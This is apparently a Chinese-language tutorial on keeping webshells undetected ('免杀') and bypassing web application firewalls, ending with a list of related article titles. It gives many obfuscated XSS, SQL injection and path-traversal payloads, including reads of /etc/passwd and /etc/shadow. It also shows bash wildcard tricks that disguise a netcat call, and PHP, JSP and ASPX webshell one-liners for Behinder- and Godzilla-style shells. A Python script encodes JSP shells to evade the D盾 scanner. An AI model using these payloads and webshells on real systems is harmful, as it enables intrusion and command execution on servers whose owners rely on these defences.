就算木马能正常运行,那么过段时间会不会被管理员杀掉?如何免杀?上面虽然木马上传成功了,但是只要管理员一杀毒,全部都能杀出来。而且,还会很明确的说这是后门。因此,作为攻击者就得会各种免杀技巧。

防御者的防御很简单,什么时候哪个论坛爆出新的免杀技巧,安全人员立马将这玩意儿放入黑名单,那么这种免杀技巧就失效了。所以,攻击者得不断创新,发明新的免杀技巧。

一、WAF简介

什么是WAF

Waf是web应用防火墙( Web Application Firewa‖l)的简称,对来自Web应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予以实时阻断,为web应用提供防护,也称作应用防火墙,是网络安全纵深防御体系里重要的一环。waf属于检测型及纠正型防御控制措施。waf分为硬件waf、软件waf( ModSecurity)、代码级waf。

WAF的原理

waf对请求的内容进行规则匹配、行为分析等识别出恶意行为,并执行相关动作,这些动作包括阻断、记录、告警等。

waf工作在web服务器之前,对基于HTTP协议的通信进行检测和识别。通俗的说,waf类似于地铁站的安检,对于HTTP请求进行快速安全检查,通过解析HTTP数据,在不同的字段分别在特征、规则等维度进行判断,判断的结果作为是否拦截的依据从而决定是否放行。

总结使用WAF的原因

1. 深度防御策略;

2. 检测并阻止针对易受攻击的Web应用程序的攻击;

3. 防范各种漏洞;

4. 保护公司的网络环境。

受欢迎的WAF供应商

如何找到WAF类型和真实IP地址

1.使用shodan.io或censys.io

2.搜索SPF记录和TXT记录。SPF和TXT记录可能存在原始的IP地址。

3.也可以在“历史数据”中进行检索,在旧记录中可能具有原始IP。查找域名、IP地址等历史数据:securitytrails.com

如何证明WAF已经正确设置

WAF使用标准端口80、443、8000、8008、8080和8088端口;

WAF在请求中设置自己的cookie;

WAF将自己与单独的标头关联;

WAF在服务器标头中公开自己;

WAF在响应内容中公开自己;

WAF会根据恶意请求以唯一的响应代码进行响应;

从浏览器发送标准GET请求,拦截并记录响应头(特定的cookie);

从命令行发送请求(例如cURL),然后检查响应内容和标头;

将GET请求发送到随机打开的端口,并检查可能暴露WAF身份的标语;

尝试一些SQL注入playload,例如:“”或1 = 1-登录表单或忘记密码;

在某些输入字段中尝试使用XSS有效playload,例如 confirm();

尝试将../../../etc/passwd添加到URL地址中的随机参数中;

将URL末尾的一些有效playload(例如“ OR SLEEP(5)OR)”添加到url作为随机参数;

使用过时的协议(例如HTTP / 0.9)发送GET请求(HTTP / 0.9不支持POST类型的查询);

根据不同类型的交互检查服务器标头;

将原始的FIN&RST数据包发送到服务器并识别响应;

边通道攻击–检查请求和响应内容的计时行为;

检查和绕过WAF的工具

w3af — Web应用程序攻击和审核框架wafw00f —识别和指纹Web应用程序防火墙BypassWAF –通过滥用DNS历史记录来绕过防火墙。该工具将搜索旧的DNS A记录,并检查服务器是否对该域进行答复。 CloudFail –是一种战术侦察工具,试图在Cloudflare WAF后面找到原始IP地址。

绕过WAF的技术

(1)请求真实ip绕过waf:部分watf部署架构的特性,部分waf并不是直接串在目标站点线路上,而是通过DNS解析的形式部署,此时可以先探测到目标站点的真实ip直接请求ip以此绕过waf的检测;

(2)检测内容范围绕过:waf性能限制,检测特定内容前几k或几十K的内容,然后在此特定内容段内填充物用数据, payload放于物用数据后,以此绕过检测;

(3)协议盲区绕过:waf根据自己的防御策略所支持的协议特性,针对该协议内的请求进行检查,但是存在一些协议检测或协议运行机制上的缺陷导致被绕过,例如协议未覆盖、协议解析不正确、协议解析遗漏等;

(4)检测规则绕过:waf工程师规则编写经验、规则覆盖面等问题,来绕过检测,例如利用 MySQL对一些特殊字符处理的特性、语法特性绕过。

二、PHP免杀

传统的php免杀不用多说了 无非就是各种变形和外部参数获取,对于一些先进的waf和防火墙来说,不论如何解析最终都会到达命令执行的地方,但是如果语法报错的话,就可能导致解析失败了,这里简单说几个利用php版本来进行语义出错的php命令执行方式。

大小写转换技术

组合大写和小写字符以创建有效的有效内容。

原型:

<script>confirm()</script>

绕过的技术:

<ScrIpT>confirm()</sCRiPt>

原型:

SELECT * FROM * WHERE OWNER = 'NAME_OF_DB'

绕过的技术:

sELeCt * fRoM * wHerE OWNER = 'NAME_OF_DB'

URL中的示例:

http://example.com/index.php?page_id=-1 UnIoN SeLeCT 1,2,3,4

URL编码技术

使用%编码/ URL编码对普通有效载荷进行编码,也可以使用Burp。它具有编码器/解码器工具。

被WAF阻止:

<Svg/x=">"/OnLoAD=confirm()//

绕过的技术:

%3CSvg%2Fx%3D%22%3E%22%2FOnLoAD%3Dconfirm%28%29%2F%2F

被WAF阻止:

UniOn(SeLeCt 1,2,3,4,5,6,7,8,9,10)

绕过的技术:

UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29

URL中的示例:

https://example.com/page.php?id=1%252f%252a*/UNION%252f%252a /SELECT

unicode技术

Unicode编码的ASCII字符为我们提供了绕过WAF的绝佳变体,对整个或部分有效载荷进行编码以获得结果。

原型:

<marquee onstart=prompt()>

混淆:

<marquee onstart=u0070ru06fu006dpt()>

被WAF阻止:

/?redir=http://google.com

绕过的技术:

/?redir=http://google。com (Unicode alternative)

被WAF阻止:

<marquee loop=1 onfinish=alert()>x

绕过的技术:

<marquee loop=1 onfinish=alert︵1)>x (Unicode alternative)

原型:

../../etc/shadow

混淆:

%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow

源代码再次编码

base64编码

将那一句话木马进行base64编码,存放在"乱七八糟"的代码中,直接看图:

键值对变形

这次的变形是在数组中键值对变形,很强。

HTML编码技术

Web应用将特殊字符编码为HTML,对它们进行编码和渲染。基本的绕过情况,带有HTML编码的数字和通用编码。

原型:

"><img src=x onerror=confirm()>

编码有效载荷:

&quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt; 

编码有效载荷:

&#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62;

混合编码技术

这样的规则通常倾向于滤除特定类型的编码,混合编码有效载荷可绕过此类过滤器。

换行符和选项卡,进一步增加了混淆。

混淆负载:

<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>

使用注释技术

注释使标准有效载荷向量模糊不清,不同的有效载荷具有不同的混淆方式。

被WAF阻止:

<script>confirm()</script>

绕过的技术:

<!--><script>confirm/**/()/**/</script>

被WAF阻止:

/?id=1+union+select+1,2--

绕过的技术:

/?id=1+un/**/ion+sel/**/ect+1,2--
  • 在攻击字符串中间插入注释。例如,/ *!SELECT * /可能会被WAF忽略,但会传递到目标应用程序并由mysql数据库进行处理。

URL中的示例:

index.php?page_id=-1 %55nION/**/%53ElecT 1,2,3,4   'union%a0select pass from users#

URL中的示例:

index.php?page_id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

双重编码技术

Web应用程序防火墙策略倾向于对字符进行编码以保护Web应用程序,较差的过滤器(没有递归过滤器)可以通过双重编码来绕过。

原型:

http://example/cgi/../../winnt/system32/cmd.exe?/c+dir+c:

混淆负载:

http://example/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:

原型:

<script>confirm()</script>

混淆负载:

%253Cscript%253Econfirm()%253C%252Fscript%253E

通配符混淆技术

各种命令行实用程序使用全局模式来处理多个文件,我们可以更改它们以运行系统命令。

原型:

/bin/cat /etc/passwd

混淆负载:

/???/??t /???/??ss??

二手字符:

/ ? t s

原型:

/bin/nc 127.0.0.1 443

混淆负载:

/???/n? 2130706433 443

二手字符:

/ ? n [0-9]

动态有效载荷生成技术:

编程语言具有不同的连接模式和语法,这使我们能够生成可以绕过许多过滤器和规则的有效载荷。

原型:

<script>confirm()</script>

混淆负载:

<script>eval('con'+'fi'+'rm()')</script>

基本要求:

/bin/cat /etc/shadow

混淆负载:

/bi'n'''/c''at' /e'tc'/sh''ad'ow

Bash允许执行路径串联。

原型:

<iframe/onload='this["src"]="javascript:confirm()"';>

混淆负载

<iframe/onload='this["src"]="jav"+"as&Tab;cr"+"ipt:con"+"fir"+"m()"';>

垃圾字符技术

WAF可以轻松过滤掉简单的有效负载,添加一些垃圾字符有助于避免检测(仅在特定情况下)。此技术通常有助于混淆基于正则表达式的防火墙。

原型:

<script>confirm()</script>

混淆负载:

<script>+-+-1-+-+confirm()</script>

原型:

<BODY onload=confirm()>

混淆负载:

<BODY onload!#$%&()*~+-_.,:;?@[/|]^`=confirm()>

原型:

<a href=javascript;alert()>ClickMe

绕过的技术:

<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe

换行技术

许多具有基于正则表达式的WAF可以有效地阻止许多尝试,换行技术(CR和LF)可以破坏防火墙的正则表达式并绕过某些东西。

原型:

<iframe src=javascript:confirm(hacker)">

混淆负载:

<iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(hacker)">

未初始化的变量技术

可以使用未初始化的bash变量规避基于正则表达式的错误过滤器。该值等于null,其作用类似于空字符串,Bash和Perl允许这种解释。

一级混淆:正常

  • 原型:

    /bin/cat /etc/shadow
  • 混淆负载:

二级混淆:基于

​/bin/cat$u /etc/shadow$u

位置

  • 原型:

    /bin/cat /etc/shadow
  • 混淆负载:

    $u/bin$u/cat$u $u/etc$u/shadow$u

第三层混淆:随机字符

  • 原型:

    /bin/cat /etc/passwd
  • 混淆负载:

    $aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff

制表符和换行技术

选项卡通常有助于规避防火墙,尤其是基于正则表达式的防火墙。当正则表达式需要空格而不是制表符时,制表符可以帮助打破WAF正则表达式。

原型:

<IMG SRC="javascript:confirm();">

绕过的技术:

<IMG SRC=" javascript:confirm();">

变体:

<IMG SRC=" jav ascri pt:confirm ();">

原型:

http://test.com/test?id=1 union select 1,2,3

绕过的技术:

http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3

原型:

<iframe src=javascript:confirm()></iframe>

混淆负载:

<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:c&Tab;o&Tab;n&Tab;f&Tab;i&Tab;r&Tab;m&Tab;%28&Tab;%29></iframe>

令牌破坏者技术

对令牌的攻击企图打破使用令牌中断器将请求拆分为令牌的逻辑,令牌破坏器是允许影响字符串的元素和某个令牌之间的对应关系的符号。

使用令牌破坏器时,我们的请求必须保持有效。

案例研究:令牌生成器的未知令牌

我们的有效载荷:

?id=‘-sqlite_version() UNION SELECT passwords FROM users --

案例研究:解析器的未知上下文(注意无上下文的括号)

第一有效载荷:

?id=12);DROP TABLE users --

第二有效载荷:

?id=133) INTO OUTFILE ‘xxx’ --

其他格式的混淆

许多Web应用程序支持不同的编码类型,并且可以解释编码。我们始终需要将有效负载混淆为WAF不支持的格式,但是服务器会走私我们的有效负载。

IIS案例:

IIS 6、7.5、8和10允许IBM037字符解释。

发送带有查询的编码参数。

原始请求:

POST /example.aspx?id7=sometext HTTP/1.1
HOST: target.org
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 27
id2='union all select * from users--

带有URL编码的混淆请求:

POST /example.aspx?%89%84%F7=%A2%95%94%86%A3%88%89%95%87 HTTP/1.1
HOST: target.org
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 127
%89%84%F2=%7D%A4%95%89%97%95%40%81%93%94%40%A2%85%93%85%84%A3%40%5C%40%86%99%97%94%40%A

利用在高版本php语法不换行来执行命令

<?=$a=<<< aaassasssasssasssasssasssasssasssasssasssasssassssaa;echo `whoami`?>

5.2版本报错

5.3报错

5.4版本报错

7.3.4成功执行命令

利用\特殊符号来引起报错

<?php\echo `whoami`;?>

5.3 执行命令失败

7.3执行命令失败

5.2成功执行

十六进制字符串

在php7中不认为是数字,php5则依旧为数字。经过测试 5.3 和5.5可以成功执行命令,5.2和php7无法执行。

<?php$s=substr("aabbccsystem","0x6");$s(whoami)?>

7.3 命令执行失败

5.2 命令执行失败

5.3 命令执行成功

除此之外,还有很多种利用版本差异性来bypass一些没有对所有版本进行检测更新的所谓的"先进waf"。

当然,对于我们可以结合垃圾数据,变形混淆,以及大量特殊字符和注释的方式来构造更多的payload,毕竟每家的waf规则不同,配置也不同,与一些传输层面的bypass进行结合产生的可能性就会非常多样。

如7.0版本的??特性,如果版本为5.x的话就会报错,可以结合一些其他的方式:

<?php$a = $_GET['function'] ?? 'whoami';$b = $_GET['cmd'] ?? 'whoami';$a(null.(null.$b));

三、jsp免杀

jsp的后缀可以兼容为jspx的代码,也兼容jspx的所有特性,如CDATA特性。jspx的后缀不兼容为jsp的代码,jspx只能用jspx的格式。

jspx CDATA特性

在XML元素里,<和&是非法的,遇到<解析器会把该字符解释为新元素的开始,遇到&解析器会把该字符解释为字符实体化编码的开始。但是我们有时候有需要在jspx里添加js代码用到大量的<和&字符,因此可以将脚本代码定义为CDATA。
CDATA部分内容会被解析器忽略。
格式:

<![CDATA[xxxxxxxxxxxxxxxxxxx]]>

例如:

String cmd = request.getPar<![CDATA[ameter]]>(“shell”);

此时ameter依旧会与getPar拼接成为getParameter。

实体化编码

if (cmd !=null){        Process child = Runtime.getRuntime().exec(cmd);        InputStream in = child.getInputStream();

这里实体化编码先知渲染体现不出来:

利用java支持其他编码格式来进行绕过:

#python2charset = "utf-8"data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)f16be = open('utf-16be.jsp','wb')f16be.write('<%@ page contentType="charset=utf-16be" %>')f16be.write(data.encode('utf-16be'))f16le = open('utf-16le.jsp','wb')f16le.write('<jsp:directive.page contentType="charset=utf-16le"/>')f16le.write(data.encode('utf-16le'))fcp037 = open('cp037.jsp','wb')fcp037.write(data.encode('cp037'))fcp037.write('<%@ page contentType="charset=cp037"/>')

可以看到对于D盾的免杀效果还是非常好的。

四、aspx免杀

aspx免杀的方式相对于PHP和java的较少,这里列出5种方式来bypass进行免杀:

1、unicode编码
2、空字符串连接
3、<%%>截断
3、头部替换
5、特殊符号@
6、注释

我们以一个普通的冰蝎马作为示例:

<%@ Page Language="Jscript"%>[eval(@Request.Item["pass"],"unsafe");%](mailto:eval(@Request.Item[)

这一步无需多言,一定是会被D盾所查杀的。

unicode编码

例如eval他可以变为\u0065\u0076\u0061\u006c:

<%@ Page Language="Jscript"%><%\u0065\u0076\u0061\u006c(@Request.Item["pass"],"unsafe");%>

经过我本地的测试,在JScript的情况下它不支持大U和多个0的增加。而在c#的情况下,是可以支持的:

空字符串连接

在函数字符串中插入这些字符都不会影响脚本的正常运行,在测试前需要注意该类字符插入的位置,否则插入错误的地方会产生报错:

\u200c
\u200d
\u200e
\u200f

使用<%%>语法

将整个字符串与函数利用<%%>进行分割:

<%@Page Language=JS%><%eval%><%(Request.%><%Item["pass"],"unsafe");%>

头部免杀

之前有遇到过检测该字段的<%@ Page Language=“C#” %>,这个是标识ASPX的一个字段,
针对该字段进行免杀[%@Language=CSHARP%](mailto:%@Language=CSHARP%)很久之前修改为这样就过了。

同样的,可以修改为:

<%@ Page Language=“Jscript”%>------》<%@Page Language=JS%>

也可以将该字段放在后面,不一定要放前面等。

使用符号

如哥斯拉webshell存在特征代码,可以添加@符号但是不会影响其解析。

(Context.Session["payload"] == null)(@Context.@Session["payload"] == null)

注释可以随意插入

如下所示为冰蝎部分代码:

<%/*qi*/Session./*qi*/Add(@"k"/*qi*/,/*qi*/"e45e329feb5d925b"/*qi*/)

可以与<%%>结合使用效果会更好。

WebShell 木马免杀过WAF相关推荐

  1. 0x06 木马免杀篇、0x07应急与响应、0x08 安全防御篇、0x09 其他问题篇

     来源如下图:(微信公众号:0x00实验室) 0x06 木马免杀篇         免杀可以先fuzz 定位出被查杀的语句,然后对被查杀那部分进行一波操作,像是加密啊.编 码啊.动态执行啊什么的,或者 ...

  2. MSF编码+VS编译木马免杀

    MSF编码+VS编译木马免杀 msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform LHOST=XXX LPORT=XXX -e ...

  3. PHP一句话木马免杀学习

    PHP一句话木马免杀学习 简单了解php一句话木马原理 <?php @eval($_POST['shell']);?> 首先存在一个名为shell的变量,shell的取值为HTTP的POS ...

  4. 木马免杀原理及方法(超全)

    灰鸽子免杀 概况 免杀意为免除被杀毒 软件杀掉的软件. 灰鸽子免杀简介:本工具为纯绿色工具,软件采用独特的查杀技巧可完全查杀灰鸽子全系列(VIP2005.vip2006.免杀处理) 木马,本软件已经过 ...

  5. PHP一句话木马免杀(通过VirusTotal测试)

    PHP一句话木马免杀 仅用于学习与交流,请勿用于非法用途!!! 简介与思路 免杀技术全称为反杀毒技术Anti Anti- Virus简称"免杀",它指的是一种能使病毒木马免于被杀毒 ...

  6. msfvenom——木马免杀篇

    msfvenom--木马免杀篇 目录 msfvenom--木马免杀篇 c语言执行 生成shellcode.c c语言执行 检查 python语言执行 方法一:python加载C代码 方法2:py2ex ...

  7. 黑客攻击-木马免杀之PE文件

    当你好不容易弄出来一个木马(具体可参考这里)的时候,却被杀毒软件轻易的就检测出来了,那一切岂不是白费了.Win10中的windows defender基于流量检测很容易把常见的木马程序检测出来,那怎么 ...

  8. 各类一句话木马免杀集合

    各类一句话木马免杀集合,基本过D盾与安全狗,php.asp.aspx.jsp一句话和冰蝎,我写的文章链接如下: https://www.cnblogs.com/joke-ljh/p/13794125. ...

  9. 木马免杀之汇编花指令技巧

    木马免杀之汇编花指令技巧 作者: 逆流风(发表于<黑客X档案>07.07,转载注明出处)        相信很多朋友都做过木马免杀,早期的免杀都是加壳和改特征码,现在免杀技术已经发展到花指 ...

最新文章

  1. 一张图看懂微软人工智能的布局
  2. System.Net 类的最佳习惯
  3. docker 不使用缓存重建镜像
  4. 推荐一些冷门但是超级实用的工具
  5. 我的世界java手机版怎么调按键_如何在10秒内,让我的世界立即“自爆”?一个隐藏的mc快捷键...
  6. GIS实战应用案例100篇(八)-桩号相同,坐标不同,RTK怎么输入曲线要素?
  7. 【英语学习】【English L06】U08 News L1 It's really a magical book!
  8. sqrt()平方根计算函数的实现1——二分法
  9. ERP 趣读 【转】
  10. Tip:创建SCOM 2012 R2报表服务器时的报错
  11. python如何打开txt文件、并算词频_Python 合并多个TXT文件并统计词频的实现
  12. Linux udhcpc/udhcpd 移植
  13. PLC1200配方功能使用---配方功能快速入门
  14. 大学本科计算机专业的课程
  15. 用简单的Python HTTP server来共享文件
  16. 微博开放平台-发微博测试
  17. 获取docker容器里面的root权限
  18. 如何构建VoIP来是实现电话诈骗之——Asterisk的设置
  19. C PRIMER PLUS(第六版编程练习)7.12编程练习_7题
  20. Go 1.19.3 error原理简析

热门文章

  1. A7600官方ROM_VIBEUI_V2.5_1537联通版使用体验
  2. Affinity Propagation聚类算法详解
  3. 你可能需要这份大厂面经
  4. 403 Forbidden nginx/1.20.1
  5. python个人信息管理系统登录注册增加日程_个人信息管理系统网站设计论文模板.docx...
  6. css hover tr背景色
  7. MyBatisPlus代码生成器的使用(超详细)
  8. beanstalkd实现延迟任务
  9. php计划任务(定时执行函数)
  10. Class文件结构介绍[属性表集合]